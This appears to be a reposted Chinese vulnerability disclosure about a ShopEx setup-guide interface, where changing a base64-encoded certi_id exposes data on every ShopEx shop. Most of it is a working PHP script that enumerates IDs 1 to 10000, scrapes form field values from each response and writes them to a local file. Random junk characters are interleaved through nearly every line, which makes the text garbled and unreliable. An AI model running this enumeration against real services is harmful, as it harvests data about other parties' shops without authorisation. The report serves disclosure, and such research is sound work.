|
简要描述:
( ^/ J* E% _' W9 t4 v5 ]; z$ {ShopEx某接口缺陷,可遍历所有网站
( }# U) O8 P- B3 x9 o详细说明:
4 l$ t5 K! {+ S8 s% M问题出现在shopex 网店使用向导页面 ; r' T" | B* b2 m% f: r- i7 a
# `# R$ j: o! I& `, S, S4 B [; ]! S% `% R
- N k5 H' Q! {http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=. J& i( a$ W$ J0 B% Q* r+ G+ S
3 M* S4 A6 v i8 W# O6 U/ G
7 M( Y2 B7 {3 e
; \- T8 N) U) H, L4 f2 Qrefer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}
+ h! w; v2 g% J4 j$ O3 k3 W2 G3 D( \9 P+ N6 G* u, {8 V3 K
( z9 @8 K- Z: e9 p
+ H% i0 F9 j6 Z我们修改certi_id 即可遍历所有使用了ShopEx程序的网站 ! h% Q- E( d+ R% h% _+ e
9 Y0 F) E( d* O% o& w, ` O4 _0 v% V* y+ K0 }0 {
+ v( k% j! d* K2 C5 k<?php
# \- e$ y/ F, {' n4 o4 a% O& ^
! O! [! @3 S. d, K' x8 y/ ]3 W* ]/ p$ } for ($i=1; $i < 10000; $i++) { //遍历 M5 i- p$ x/ G( \
1 n& V; s3 i" x ShowshopExD($i);
# X% Z* s- S c) ?
6 v% E; q$ A- {/ s# F) W( E1 v2 h }
. u/ z& r% n, e" T- W
2 l9 |4 c1 v' j5 z/ ?1 Z {/ Q function ShowshopExD($cid) {
x6 y( X: `8 u: E7 z/ O* D1 ^3 r2 F( a. e
$url='http://guide.ecos.shopex.cn/step2.php';
# C8 {9 ?3 X* F' p7 k7 \
9 q! D8 A2 M, C/ R5 w: [6 j0 f; g) { $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');/ e. u" p+ H$ e; K( P
9 X$ L4 N" d3 f& R1 Q
$url = $url.'?refer='.$refer;
' ?+ ~2 f q/ f0 v# E8 O' W2 d2 `( y( [' s" a" n& Z6 V. _7 ]6 v, L5 N. Q+ t
$ch = curl_init($url);5 C$ X8 e/ Z& r G
: \) \ z, R6 c' w+ b' n* `
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
3 e3 r( y, O5 k0 y2 Z! d
4 g! G. Y, n4 M/ w% Z curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
0 s+ U6 B5 @1 Z+ K B* k. \( n# y) N+ J8 K, Z2 q
$result = curl_exec($ch);$ W1 U# ^& s( Q7 j9 p0 ]
7 T4 j. h9 e- ]8 W' s $result = mb_convert_encoding($result, "gb2312", "UTF-8");7 i0 n$ g1 ], n; t1 V
) K3 [1 i% C$ P* F# w if(strpos($result,$refer))9 F* U' Q, Y* ^. \) b
% L. q2 C2 h0 s* v2 S9 @& `
{
1 h( v6 b+ v5 k& Z. V% Q5 M( g
+ W' L; z* h% z' b7 W $fp = fopen("c:/shopEx.txt",'ab'); //保存文件% _" Z: q% k# z6 n$ _
5 g+ h1 o" B! L4 ]: u preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);
6 o7 x2 J/ B' g9 t9 ^
! t# W, t6 z* m. A foreach ($value[1] as $key) {
8 u+ n. `3 t( Q1 L1 ~( [/ _
, V( G' Z- u! L' g% u. b preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
. ]. E" X# p: }& V
, q: p0 X, @4 C& r$ ^/ P echo $res[1][0].':'.$res[3][0]."\r\n";' H2 ~( d4 _0 v
$ L6 w- v& Y/ m v $col =$res[1][0].':'.$res[3][0]."\r\n";
3 q h y7 g( D6 Z6 M" s
; g2 w* w7 Z+ R9 B) j" l fwrite($fp, $col, strlen($col));
* V5 q/ p. o o* x9 E3 Z
3 D5 Y6 Q% E3 }! e6 U! ] }1 T* H1 @3 t. X; b) ?& y
. T i* A# E% w. a0 n; n1 z
echo '--------------------------------'."\r\n";
$ K7 p9 ~* y) S1 D( D6 v
1 ?+ `* W: c4 M7 [! U! `4 a# I! `7 A) n fclose($fp); , y/ I1 N) a; ^/ C0 O) z' x9 a
2 U2 d# O/ t# D# ~7 o& B
}
9 _! l; t% t5 K' R9 L: @1 O
) }/ k. j% M) |/ V flush();
( l1 V7 ~$ J6 \" ?' V1 c% R3 X8 B6 P `5 {6 \) M% j
curl_close($ch);1 t& W p, t2 ] K2 p/ i3 }
* [$ f4 J5 z9 ~3 p }
* U+ j9 F0 V# l6 [+ [7 Z+ M) ?' o8 p6 D; d# W
?>
/ r" n. e7 M& N8 V1 P漏洞证明:
. G4 V3 O* G* z, U3 I, {http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg) a2 U U0 G k9 G9 ^! l# w
refer换成其他加密方式
1 G R) a+ o( L! x, f: u |
|